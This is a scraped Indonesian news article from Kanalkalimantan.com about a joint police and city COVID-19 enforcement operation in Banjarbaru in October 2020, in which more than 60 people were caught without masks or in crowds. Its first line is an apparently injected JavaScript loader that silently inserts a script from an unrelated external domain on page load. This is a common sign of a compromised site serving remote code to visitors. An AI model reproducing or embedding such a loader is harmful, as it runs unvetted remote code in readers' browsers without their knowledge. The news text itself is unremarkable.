(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru bersama TNI Polri menggelar giat pendisiplinan protokol kesehatan Covid-19, di kawasan Lapangan Murjani, tepatnya di depan Balai Kota Banjarbaru, Sabtu (3/10/2020) malam. Hasilnya, petugas gabungan menjaring lebih dari 60 orang yang melakukan pelanggaran.
Dari pantauan Kanalkalimantan, giat ini dilakukan dengan menyebar petugas ke seluruh titik lokasi kerumunan masyarakat yang tengah asik bersantai di seputaran kawasan Lapangan Murjani.
Giat dipimpin secara langsung Pjs Wali Kota Banjarbaru Bernhard E Rondonuwu didampingi Kapolres Banjarbaru AKBP Doni Hadi Santoso, dan turut diikuti oleh sejumlah SKPD di lingkungan Pemko Banjarbaru, seperti Satpol PP, BPBD, hingga Dinas Pariwisata.
PPNS Seksi Opsdal Satpol PP Banjarbaru Yanto Hidayat, mengungkapkan bahwa sasaran dalam giat ini adalah mendisplinkan masyarakat yang tidak mengenakan masker, berkerumun dan tidak menjaga jarak satu sama lain.
Puncaknya, giat dilakukan dengan memblokir pengendara yang lalu lalang untuk dilakukan pemeriksan.
“Seperti razia motor, jadi petugas memblokir jalan dan menghentikan pengendara. Lalu, pengendata yang tidak mengenakan masker akan kita bawa ke kantor Satpol PP untuk diberikan sanski sesuai dengan Perwali Nomor 20 Tahun 2020,” katanya.
Adapun para pelanggar yang terjaring oleh petugas pada malam ini, didominasi oleh kalangan muda mudi. Ada yang kedapatan sedang berpacaran dan ada pula yang hanya sekedar berkumpul bersama teman-teman dan kerabat.
Yanto mengatakan bahwa setiap regu petugas yang tersebar di sejumlah titik lokasi menjaring sedikinya 8 – 10 orang yang melakukan pelanggaran. Namun begitu, untuk saat ini pihaknya hanya mengenakan sanksi ringan kepada para pelanggar.
“Totalnya ada 60 lebih yang kita amankan. Nah, mereka kita berikan sanksi ringan dulu. Salah satunya, sanksi tertulis dengan membuat surat pernyataan agar tidak melakukan kesalahan yang sama. Kalau keesokan harinya mereka kedapatan lagi melakukan pelanggaran, maka kita akan kenakan sanksi berat yakni denda administratif sebesar Rp 50 ribu,” tuntas Yanto.
Menariknya, aksi kocak juga mewarnai giat malam ini juga tatkala sejumlah muda mudi yang melakukan pelanggaran diharuskan menyanyikan lagu nasional. Bahkan, ada pula yang disuruh membaca surat Al- Fatihah.
Tak hanya soal hukuman, Pemko Banjarbaru bersama TNI Polri yang tergabung dalam Satgas Covid-19 juga turut memberikan edukasi dan himbauan kepada mereka yang masih saja ngotot melanggar. Termasuk, memberikan memberikan masker kepada para pelanggar. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More
Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More
KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More
This website uses cookies.